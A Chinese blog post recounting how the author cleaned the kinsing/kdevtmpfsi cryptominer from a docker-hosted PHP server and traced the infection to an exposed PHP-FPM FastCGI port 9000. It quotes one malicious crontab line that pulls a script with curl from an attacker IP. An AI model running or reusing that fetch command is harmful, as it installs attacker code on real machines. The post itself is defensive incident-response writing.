关于linux病毒`kinsing` `kdevtmpfsi`的处理

702次阅读
没有评论

简要描述
有两周时间,一直出现 cpu100% 的情况,服务器使用的 docker—compose 搭建 php+nginx+mysql ,出现这个病毒在不知道原因的情况下就出现了,然后运维人员找到本人,说服务器报警,连续几周时间观察找原因,最终得到解决

解决过程简述
一。杀死进程 kill -9 pid
问题出现首先想到的就是杀死进程,然后去寻找出现这个的原因,因为是在容器里面,所以首先需要进入容器

docker exec -it container_id /bin/bash
ps -aux | grep kdevtmpfsi
ps -aux | grep kinsing

rm -rf …
二。查找定时任务
发现定时任务里面存在下面的可疑脚本

curl -s 195.3.146.118/unk.sh

/var/spool/cron/crontabs
rm -rf ..
三。重新新建文件,设置权限并观察 cpu
touch /tmp/kdevtmpfsi /tmp/kinsing
chattr +i /tmp/kdevtmpfsi /tmp/kinsing
docker top container_id
有几天时间没有出现这些病毒,cpu 也没出现 100% 的情况,大概过了几天后就又出现了,现在出现的 kdevtmpfsi425336820 类似这样的文件,cpu 再次跑满

以上就是花了好多天,然后网上搜索了一大堆,按照网上的做法去操作的,但是没能根本上解决问题,还有一些是写一个定时脚本定时去 kill 掉这些有问题的进程,这里就不贴上来了
四。下载脚本
然后我把脚本下载下来了,发现里面有一个可疑 ip,赶紧通知运维加入黑名单,这下子好了,好多天 cpu 没有再次升起来,但是阿里云总会收到恶意的报警通告

这里恶意程序的脚本文件就不贴了,代码有些多

下面这一点似乎是网上呼声最高的,我要说明一下,我的环境没有使用到 redis

最终解决
经过上面好多天的查资料,查到的基本上都是一样的解释,跟解决办法,对于目前我来说根本无用,心灰意冷

好在一次无意间用 docker logs 查看日志发现了猫腻

网上搜索了一下,这个是一个 PHP-FPM fastcgi 漏洞,资料来源如下

www.leavesongs.com/PENETRATION/fas…
mohen.blog.csdn.net/artice/details…

大概意思就是:开放了9000端口,按照一定的代码格式,来请求php代码,进入fastcgi里面,就可以执行自己任意的php代码

由于某种原因开启了 9000 端口,就给了这个病毒攻击系统的机会,让运维关闭 9000 端口,问题最终得到解决

使用到的 linux 指令
lsattr chattr rm -rf touch kill ps -aux top
使用到的 docker 指令
docker logs docker top docker exex -it cid /bin/bash docker cp docker-compose docker ps

总结
之前也发现一些挖矿的恶意程序,这次这个也是的,大概处理方法如下

杀死挖矿程序进程
查看定时任务,有无可疑程序
删除相关文件,重新新建文件,然后设置权限
观察,查看 log
不必要的端口不要爆露出来

正文完
可以使用微信扫码关注公众号(ID:xzluomor)
post-qrcode
 
评论(没有评论)